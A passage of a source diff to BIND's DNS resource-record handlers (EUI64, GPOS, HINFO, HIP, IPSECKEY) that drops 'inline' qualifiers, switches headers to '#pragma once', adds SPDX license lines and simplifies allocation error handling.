+++ b/lib/dns/rdata/generic/eui64_109.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_EUI64_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_eui64(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char eui64[8];
@@ -52,7 +54,7 @@ fromtext_eui64(ARGS_FROMTEXT) {
 	return (mem_tobuffer(target, eui64, sizeof(eui64)));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_eui64(ARGS_TOTEXT) {
 	char buf[sizeof("xx-xx-xx-xx-xx-xx-xx-xx")];
 
@@ -68,14 +70,13 @@ totext_eui64(ARGS_TOTEXT) {
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_eui64(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 
 	REQUIRE(type == dns_rdatatype_eui64);
 
 	UNUSED(type);
-	UNUSED(options);
 	UNUSED(rdclass);
 	UNUSED(dctx);
 
@@ -87,7 +88,7 @@ fromwire_eui64(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sregion.base, sregion.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_eui64(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_eui64);
 	REQUIRE(rdata->length == 8);
@@ -97,7 +98,7 @@ towire_eui64(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_eui64(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -113,7 +114,7 @@ compare_eui64(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_eui64(ARGS_FROMSTRUCT) {
 	dns_rdata_eui64_t *eui64 = source;
 
@@ -128,7 +129,7 @@ fromstruct_eui64(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, eui64->eui64, sizeof(eui64->eui64)));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_eui64(ARGS_TOSTRUCT) {
 	dns_rdata_eui64_t *eui64 = target;
 
@@ -146,7 +147,7 @@ tostruct_eui64(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_eui64(ARGS_FREESTRUCT) {
 	dns_rdata_eui64_t *eui64 = source;
 
@@ -156,19 +157,20 @@ freestruct_eui64(ARGS_FREESTRUCT) {
 	return;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_eui64(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_eui64);
 	REQUIRE(rdata->length == 8);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_eui64(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -180,7 +182,7 @@ digest_eui64(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_eui64(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_eui64);
 
@@ -192,7 +194,7 @@ checkowner_eui64(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_eui64(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_eui64);
 	REQUIRE(rdata->length == 8);
@@ -204,7 +206,7 @@ checknames_eui64(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_eui64(ARGS_COMPARE) {
 	return (compare_eui64(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/eui64_109.h b/lib/dns/rdata/generic/eui64_109.h
index 8173262d02..c5f6d89195 100644
--- a/lib/dns/rdata/generic/eui64_109.h
+++ b/lib/dns/rdata/generic/eui64_109.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,12 +12,9 @@
  */
 
 /* */
-#ifndef GENERIC_EUI64_109_H
-#define GENERIC_EUI64_109_H 1
+#pragma once
 
 typedef struct dns_rdata_eui64 {
 	dns_rdatacommon_t common;
 	unsigned char eui64[8];
 } dns_rdata_eui64_t;
-
-#endif /* GENERIC_EUI64_10k_H */
diff --git a/lib/dns/rdata/generic/gpos_27.c b/lib/dns/rdata/generic/gpos_27.c
index d719fcc5e1..38729801a0 100644
--- a/lib/dns/rdata/generic/gpos_27.c
+++ b/lib/dns/rdata/generic/gpos_27.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_GPOS_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_gpos(ARGS_FROMTEXT) {
 	isc_token_t token;
 	int i;
@@ -37,7 +39,7 @@ fromtext_gpos(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_gpos(ARGS_TOTEXT) {
 	isc_region_t region;
 	int i;
@@ -59,7 +61,7 @@ totext_gpos(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_gpos(ARGS_FROMWIRE) {
 	int i;
 
@@ -68,14 +70,14 @@ fromwire_gpos(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
-	for (i = 0; i < 3; i++)
+	for (i = 0; i < 3; i++) {
 		RETERR(txt_fromwire(source, target));
+	}
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_gpos(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_gpos);
 	REQUIRE(rdata->length != 0);
@@ -85,7 +87,7 @@ towire_gpos(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_gpos(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -101,7 +103,7 @@ compare_gpos(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_gpos(ARGS_FROMSTRUCT) {
 	dns_rdata_gpos_t *gpos = source;
 
@@ -121,7 +123,7 @@ fromstruct_gpos(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, gpos->altitude, gpos->alt_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_gpos(ARGS_TOSTRUCT) {
 	dns_rdata_gpos_t *gpos = target;
 	isc_region_t region;
@@ -138,46 +140,26 @@ tostruct_gpos(ARGS_TOSTRUCT) {
 	gpos->long_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	gpos->longitude = mem_maybedup(mctx, region.base, gpos->long_len);
-	if (gpos->longitude == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&region, gpos->long_len);
 
 	gpos->lat_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	gpos->latitude = mem_maybedup(mctx, region.base, gpos->lat_len);
-	if (gpos->latitude == NULL) {
-		goto cleanup_longitude;
-	}
 	isc_region_consume(&region, gpos->lat_len);
 
 	gpos->alt_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	if (gpos->lat_len > 0) {
 		gpos->altitude = mem_maybedup(mctx, region.base, gpos->alt_len);
-		if (gpos->altitude == NULL) {
-			goto cleanup_latitude;
-		}
 	} else {
 		gpos->altitude = NULL;
 	}
 
 	gpos->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup_latitude:
-	if (mctx != NULL && gpos->longitude != NULL) {
-		isc_mem_free(mctx, gpos->longitude);
-	}
-
-cleanup_longitude:
-	if (mctx != NULL && gpos->latitude != NULL) {
-		isc_mem_free(mctx, gpos->latitude);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_gpos(ARGS_FREESTRUCT) {
 	dns_rdata_gpos_t *gpos = source;
 
@@ -200,18 +182,19 @@ freestruct_gpos(ARGS_FREESTRUCT) {
 	gpos->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_gpos(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_gpos);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_gpos(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -222,7 +205,7 @@ digest_gpos(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_gpos(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_gpos);
 
@@ -234,7 +217,7 @@ checkowner_gpos(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_gpos(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_gpos);
 
@@ -245,7 +228,7 @@ checknames_gpos(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_gpos(ARGS_COMPARE) {
 	return (compare_gpos(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/gpos_27.h b/lib/dns/rdata/generic/gpos_27.h
index 6b41c08ed5..b09a69f2f7 100644
--- a/lib/dns/rdata/generic/gpos_27.h
+++ b/lib/dns/rdata/generic/gpos_27.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_GPOS_27_H
-#define GENERIC_GPOS_27_H 1
+#pragma once
 
 /*!
  *  \brief per RFC1712 */
@@ -25,5 +26,3 @@ typedef struct dns_rdata_gpos {
 	uint8_t lat_len;
 	uint8_t alt_len;
 } dns_rdata_gpos_t;
-
-#endif /* GENERIC_GPOS_27_H */
diff --git a/lib/dns/rdata/generic/hinfo_13.c b/lib/dns/rdata/generic/hinfo_13.c
index 2d5ed3e338..a447019cfc 100644
--- a/lib/dns/rdata/generic/hinfo_13.c
+++ b/lib/dns/rdata/generic/hinfo_13.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,12 +11,11 @@
  * information regarding copyright ownership.
  */
 
-#ifndef RDATA_GENERIC_HINFO_13_C
-#define RDATA_GENERIC_HINFO_13_C
+#pragma once
 
 #define RRTYPE_HINFO_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_hinfo(ARGS_FROMTEXT) {
 	isc_token_t token;
 	int i;
@@ -35,7 +36,7 @@ fromtext_hinfo(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_hinfo(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -50,20 +51,19 @@ totext_hinfo(ARGS_TOTEXT) {
 	return (txt_totext(&region, true, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_hinfo(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_hinfo);
 
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
 	RETERR(txt_fromwire(source, target));
 	return (txt_fromwire(source, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_hinfo(ARGS_TOWIRE) {
 	UNUSED(cctx);
 
@@ -73,7 +73,7 @@ towire_hinfo(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_hinfo(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -89,7 +89,7 @@ compare_hinfo(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_hinfo(ARGS_FROMSTRUCT) {
 	dns_rdata_hinfo_t *hinfo = source;
 
@@ -107,7 +107,7 @@ fromstruct_hinfo(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, hinfo->os, hinfo->os_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_hinfo(ARGS_TOSTRUCT) {
 	dns_rdata_hinfo_t *hinfo = target;
 	isc_region_t region;
@@ -124,29 +124,16 @@ tostruct_hinfo(ARGS_TOSTRUCT) {
 	hinfo->cpu_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	hinfo->cpu = mem_maybedup(mctx, region.base, hinfo->cpu_len);
-	if (hinfo->cpu == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&region, hinfo->cpu_len);
 
 	hinfo->os_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	hinfo->os = mem_maybedup(mctx, region.base, hinfo->os_len);
-	if (hinfo->os == NULL) {
-		goto cleanup;
-	}
-
 	hinfo->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL && hinfo->cpu != NULL) {
-		isc_mem_free(mctx, hinfo->cpu);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_hinfo(ARGS_FREESTRUCT) {
 	dns_rdata_hinfo_t *hinfo = source;
 
@@ -165,18 +152,19 @@ freestruct_hinfo(ARGS_FREESTRUCT) {
 	hinfo->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_hinfo(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_hinfo);
 
+	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
-	UNUSED(rdata);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_hinfo(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -187,7 +175,7 @@ digest_hinfo(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_hinfo(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_hinfo);
 
@@ -199,7 +187,7 @@ checkowner_hinfo(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_hinfo(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_hinfo);
 
@@ -210,8 +198,7 @@ checknames_hinfo(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_hinfo(ARGS_COMPARE) {
 	return (compare_hinfo(rdata1, rdata2));
 }
-#endif /* RDATA_GENERIC_HINFO_13_C */
diff --git a/lib/dns/rdata/generic/hinfo_13.h b/lib/dns/rdata/generic/hinfo_13.h
index 14dda60169..a477d47170 100644
--- a/lib/dns/rdata/generic/hinfo_13.h
+++ b/lib/dns/rdata/generic/hinfo_13.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_HINFO_13_H
-#define GENERIC_HINFO_13_H 1
+#pragma once
 
 typedef struct dns_rdata_hinfo {
 	dns_rdatacommon_t common;
@@ -20,5 +21,3 @@ typedef struct dns_rdata_hinfo {
 	uint8_t cpu_len;
 	uint8_t os_len;
 } dns_rdata_hinfo_t;
-
-#endif /* GENERIC_HINFO_13_H */
diff --git a/lib/dns/rdata/generic/hip_55.c b/lib/dns/rdata/generic/hip_55.c
index 9ead94ed4b..5ee1d297a3 100644
--- a/lib/dns/rdata/generic/hip_55.c
+++ b/lib/dns/rdata/generic/hip_55.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,12 +13,11 @@
 
 /* RFC 5205 */
 
-#ifndef RDATA_GENERIC_HIP_5_C
-#define RDATA_GENERIC_HIP_5_C
+#pragma once
 
 #define RRTYPE_HIP_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_hip(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -115,7 +116,7 @@ fromtext_hip(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_hip(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
@@ -176,7 +177,7 @@ totext_hip(ARGS_TOTEXT) {
 	while (region.length > 0) {
 		dns_name_fromregion(&name, &region);
 
-		RETERR(dns_name_totext(&name, false, target));
+		RETERR(dns_name_totext(&name, 0, target));
 		isc_region_consume(&region, name.length);
 		if (region.length > 0) {
 			RETERR(str_totext(tctx->linebreak, target));
@@ -188,7 +189,7 @@ totext_hip(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_hip(ARGS_FROMWIRE) {
 	isc_region_t region, rr;
 	dns_name_t name;
@@ -225,15 +226,15 @@ fromwire_hip(ARGS_FROMWIRE) {
 	RETERR(mem_tobuffer(target, rr.base, 4 + len));
 	isc_buffer_forward(source, 4 + len);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 	while (isc_buffer_activelength(source) > 0) {
 		dns_name_init(&name, NULL);
-		RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+		RETERR(dns_name_fromwire(&name, source, dctx, target));
 	}
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_hip(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -246,7 +247,7 @@ towire_hip(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_hip(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -262,7 +263,7 @@ compare_hip(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_hip(ARGS_FROMSTRUCT) {
 	dns_rdata_hip_t *hip = source;
 	dns_rdata_hip_t myhip;
@@ -289,12 +290,14 @@ fromstruct_hip(ARGS_FROMSTRUCT) {
 	myhip = *hip;
 	for (result = dns_rdata_hip_first(&myhip); result == ISC_R_SUCCESS;
 	     result = dns_rdata_hip_next(&myhip))
-		/* empty */;
+	{
+		/* initialize the names */
+	}
 
 	return (mem_tobuffer(target, hip->servers, hip->servers_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_hip(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_hip_t *hip = target;
@@ -321,45 +324,24 @@ tostruct_hip(ARGS_TOSTRUCT) {
 	hip->hit = hip->key = hip->servers = NULL;
 
 	hip->hit = mem_maybedup(mctx, region.base, hip->hit_len);
-	if (hip->hit == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&region, hip->hit_len);
 
 	INSIST(hip->key_len <= region.length);
 
 	hip->key = mem_maybedup(mctx, region.base, hip->key_len);
-	if (hip->key == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&region, hip->key_len);
 
 	hip->servers_len = region.length;
 	if (hip->servers_len != 0) {
 		hip->servers = mem_maybedup(mctx, region.base, region.length);
-		if (hip->servers == NULL) {
-			goto cleanup;
-		}
 	}
 
 	hip->offset = hip->servers_len;
 	hip->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (hip->hit != NULL) {
-		isc_mem_free(mctx, hip->hit);
-	}
-	if (hip->key != NULL) {
-		isc_mem_free(mctx, hip->key);
-	}
-	if (hip->servers != NULL) {
-		isc_mem_free(mctx, hip->servers);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_hip(ARGS_FREESTRUCT) {
 	dns_rdata_hip_t *hip = source;
 
@@ -377,18 +359,19 @@ freestruct_hip(ARGS_FREESTRUCT) {
 	hip->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_hip(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_hip);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_hip);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_hip(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -398,7 +381,7 @@ digest_hip(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_hip(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_hip);
 
@@ -410,7 +393,7 @@ checkowner_hip(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_hip(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_hip);
 
@@ -461,7 +444,7 @@ dns_rdata_hip_current(dns_rdata_hip_t *hip, dns_name_t *name) {
 	INSIST(name->length + hip->offset <= hip->servers_len);
 }
 
-static inline int
+static int
 casecompare_hip(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -493,8 +476,8 @@ casecompare_hip(ARGS_COMPARE) {
 	isc_region_consume(&r1, 2); /* key length */
 	isc_region_consume(&r2, 4);
 
-	INSIST(r1.length >= (unsigned)(hit_len + key_len));
-	INSIST(r2.length >= (unsigned)(hit_len + key_len));
+	INSIST(r1.length >= (unsigned int)(hit_len + key_len));
+	INSIST(r2.length >= (unsigned int)(hit_len + key_len));
 	order = memcmp(r1.base, r2.base, hit_len + key_len);
 	if (order != 0) {
 		return (order);
@@ -517,5 +500,3 @@ casecompare_hip(ARGS_COMPARE) {
 	}
 	return (isc_region_compare(&r1, &r2));
 }
-
-#endif /* RDATA_GENERIC_HIP_5_C */
diff --git a/lib/dns/rdata/generic/hip_55.h b/lib/dns/rdata/generic/hip_55.h
index 35adcfc19d..617e9c9fed 100644
--- a/lib/dns/rdata/generic/hip_55.h
+++ b/lib/dns/rdata/generic/hip_55.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_HIP_5_H
-#define GENERIC_HIP_5_H 1
+#pragma once
 
 /* RFC 5205 */
 
@@ -36,5 +37,3 @@ dns_rdata_hip_next(dns_rdata_hip_t *);
 
 void
 dns_rdata_hip_current(dns_rdata_hip_t *, dns_name_t *);
-
-#endif /* GENERIC_HIP_5_H */
diff --git a/lib/dns/rdata/generic/ipseckey_45.c b/lib/dns/rdata/generic/ipseckey_45.c
index d93f3e4ab9..10c954fd0d 100644
--- a/lib/dns/rdata/generic/ipseckey_45.c
+++ b/lib/dns/rdata/generic/ipseckey_45.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_IPSECKEY_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ipseckey(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -119,7 +121,7 @@ fromtext_ipseckey(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ipseckey(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
@@ -185,7 +187,7 @@ totext_ipseckey(ARGS_TOTEXT) {
 
 	case 3:
 		dns_name_fromregion(&name, &region);
-		RETERR(dns_name_totext(&name, false, target));
+		RETERR(dns_name_totext(&name, 0, target));
 		isc_region_consume(&region, name_length(&name));
 		break;
 	}
@@ -209,7 +211,7 @@ totext_ipseckey(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ipseckey(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t region;
@@ -219,7 +221,7 @@ fromwire_ipseckey(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -253,7 +255,7 @@ fromwire_ipseckey(ARGS_FROMWIRE) {
 	case 3:
 		RETERR(mem_tobuffer(target, region.base, 3));
 		isc_buffer_forward(source, 3);
-		RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+		RETERR(dns_name_fromwire(&name, source, dctx, target));
 		isc_buffer_activeregion(source, &region);
 		isc_buffer_forward(source, region.length);
 		if (region.length < 1) {
@@ -266,7 +268,7 @@ fromwire_ipseckey(ARGS_FROMWIRE) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ipseckey(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -279,7 +281,7 @@ towire_ipseckey(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_ipseckey(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -296,7 +298,7 @@ compare_ipseckey(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ipseckey(ARGS_FROMSTRUCT) {
 	dns_rdata_ipseckey_t *ipseckey = source;
 	isc_region_t region;
@@ -340,7 +342,7 @@ fromstruct_ipseckey(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, ipseckey->key, ipseckey->keylength));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ipseckey(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_ipseckey_t *ipseckey = target;
@@ -351,10 +353,6 @@ tostruct_ipseckey(ARGS_TOSTRUCT) {
 	REQUIRE(ipseckey != NULL);
 	REQUIRE(rdata->length >= 3);
 
-	if (rdata->data[1] > 3U) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
 	ipseckey->common.rdclass = rdata->rdclass;
 	ipseckey->common.rdtype = rdata->type;
 	ISC_LINK_INIT(&ipseckey->common, link);
@@ -382,6 +380,7 @@ tostruct_ipseckey(ARGS_TOSTRUCT) {
 		break;
 
 	case 2:
+		INSIST(region.length >= 16U);
 		memmove(ipseckey->in6_addr.s6_addr, region.base, 16);
 		isc_region_consume(&region, 16);
 		break;
@@ -389,7 +388,7 @@ tostruct_ipseckey(ARGS_TOSTRUCT) {
 	case 3:
 		dns_name_init(&ipseckey->gateway, NULL);
 		dns_name_fromregion(&name, &region);
-		RETERR(name_duporclone(&name, mctx, &ipseckey->gateway));
+		name_duporclone(&name, mctx, &ipseckey->gateway);
 		isc_region_consume(&region, name_length(&name));
 		break;
 	}
@@ -398,13 +397,6 @@ tostruct_ipseckey(ARGS_TOSTRUCT) {
 	if (ipseckey->keylength != 0U) {
 		ipseckey->key = mem_maybedup(mctx, region.base,
 					     ipseckey->keylength);
-		if (ipseckey->key == NULL) {
-			if (ipseckey->gateway_type == 3) {
-				dns_name_free(&ipseckey->gateway,
-					      ipseckey->mctx);
-			}
-			return (ISC_R_NOMEMORY);
-		}
 	} else {
 		ipseckey->key = NULL;
 	}
@@ -413,7 +405,7 @@ tostruct_ipseckey(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
